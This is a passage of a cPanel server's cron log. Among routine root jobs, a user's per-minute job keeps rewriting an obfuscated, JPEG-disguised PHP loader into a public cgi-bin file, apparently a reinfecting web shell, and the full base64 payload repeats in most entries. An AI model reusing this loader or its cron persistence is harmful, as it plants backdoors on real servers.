DSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:36:01 server CROND[1477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:37:01 server CROND[1846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:37:01 server CROND[1847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:37:01 server CROND[1848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:38:01 server CROND[2355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:38:01 server CROND[2357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:38:01 server CROND[2356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:39:01 server CROND[2775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:39:01 server CROND[2778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:39:01 server CROND[2777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:39:01 server CROND[2779]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 06:40:01 server CROND[3181]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:40:01 server CROND[3183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:40:01 server CROND[3191]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:40:01 server CROND[3194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:40:01 server CROND[3197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:40:01 server CROND[3192]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:40:01 server CROND[3193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:40:01 server CROND[3195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:41:02 server CROND[4076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:41:02 server CROND[4075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:41:02 server CROND[4077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:42:01 server CROND[4454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:42:01 server CROND[4455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:42:01 server CROND[4456]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 06:42:01 server CROND[4457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:43:01 server CROND[4943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:43:01 server CROND[4944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:43:01 server CROND[4945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:44:01 server CROND[5322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:44:01 server CROND[5323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:44:01 server CROND[5324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:45:01 server CROND[5707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:45:01 server CROND[5709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:45:01 server CROND[5713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:45:01 server CROND[5716]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:45:01 server CROND[5723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:45:01 server CROND[5715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:45:01 server CROND[5724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:46:01 server CROND[6535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:46:01 server CROND[6536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:46:01 server CROND[6537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:47:01 server CROND[6923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:47:01 server CROND[6924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:47:01 server CROND[6925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:48:01 server CROND[7426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:48:01 server CROND[7428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:48:01 server CROND[7427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
